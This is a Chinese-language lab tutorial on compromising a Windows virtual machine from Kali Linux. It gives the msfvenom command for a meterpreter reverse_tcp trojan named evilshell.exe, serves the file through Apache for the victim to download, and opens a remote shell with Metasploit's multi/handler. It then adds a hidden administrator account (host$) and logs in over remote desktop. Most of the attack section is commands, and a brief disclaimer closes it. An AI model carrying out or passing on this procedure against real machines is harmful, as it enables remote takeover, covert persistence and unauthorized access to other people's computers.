利用kali Linux 渗透windows 操作系统
利用kali Linux 渗透windows 操作系统
一、实验目的：使用kali生成木马，渗透windows系统
二、实验内容：
使用kali中的Metasploit生成木马，控制windows系统
三、实验环境
需要从VMware Workstation 中创建两台虚拟机
一台kali linux和一台靶机windows系统
1、攻击者ip(kali) 192.168.63.21
2、靶机ip（windows）192.168.63.20
四、实验步骤
先将虚拟机的网络模式修改为桥接模式
设置靶机ip（windows）
从右下角网络右键打开网络和共享中心
点击本地连接
点击属性
找到ipv4，双击点开
设置ip地址
查看靶机(windows)的ip地址
win+r输入cmd
进入终端后输入ipconfig查看ip
ip地址为192.168.63.20 设置成功
设置kali的ip
ifconfig eth0 [要修改的IP地址] netmask [子网掩码]
（重启后生效）
重启后进入终端输入ifconfig查看ip地址
ip地址为192.168.63.21
保证两个系统能相互ping通
生成木马，在kali打开终端输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击者ip lport=监听端口 -f 后门文件类型 >/后门文件保存路径/evilshell.txt
进入木马文件存放路径，将木马文件evilshell.exe复制到 /var/www/html, 输入命令：
进入目录 /var/www/html,将html目录下的其余文件删除，输入命令:
开启apache服务，输入命令：
/etc/init.d/apache2 start
可以用以下命令查看服务开启状态：
/etc/init.d/apache2 status
出现绿色的字代表服务已经开启
在windows7靶机上打开浏览器输入kali的IP，访问kali并下载木马文件evilshell.exe
将文件下载到桌面
开启postgresql服务，其端口号为5432，输入命令
/etc/init.d/postgresql start
可以用/etc/init.d/postgresql status查看服务开启状态
查看端口，输入命令
netstat -ntulp
开启msfconsole,输入命令
msfconsole
设置攻击模块并运行，输入命令：
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击者IP
set LPORT 监听端口
show options
run
在靶机中双击运行木马文件(evilshell.exe)
获取目标主机shell,输入命令
shell
出现乱码现象,输入命令:
chcp 437
输入ipconfig查看靶机的ip地址
在靶机中添加一个隐藏用户（后面加$）,并提升隐藏用户的权限，输入以下命令
net user host$ /add
net user
net user host$ 密码
net localgroup administrators host$ /add
net user host$
kali打开一个新的终端，使用远程桌面连接靶机（靶机需要开启远程连接服务），输入命令
rdesktop 靶机ip
使用 host$密码 登录靶机,登录成功后，使用管理员权限打开cmd.添加一个新用户，添加成功则证明渗透成功！
添加用户:
添加用户成功，表示渗透成功！
用靶机端切换用户
可以查看到这里出现一个被攻击者添加的一个用户
实验结果：我们在攻击靶机的时候获取到的权限仅仅为获取靶机的IP地址，对其IP进行渗透，靶机端访问了我们做好的木马文件，结果就被入侵了。
注：（此教程仅用于测试 切勿拿他人电脑恶意测试）
！！！不要将IP提供给他人，不要下载并运行陌生的软件，如果是木马文件，可能会被黑客攻击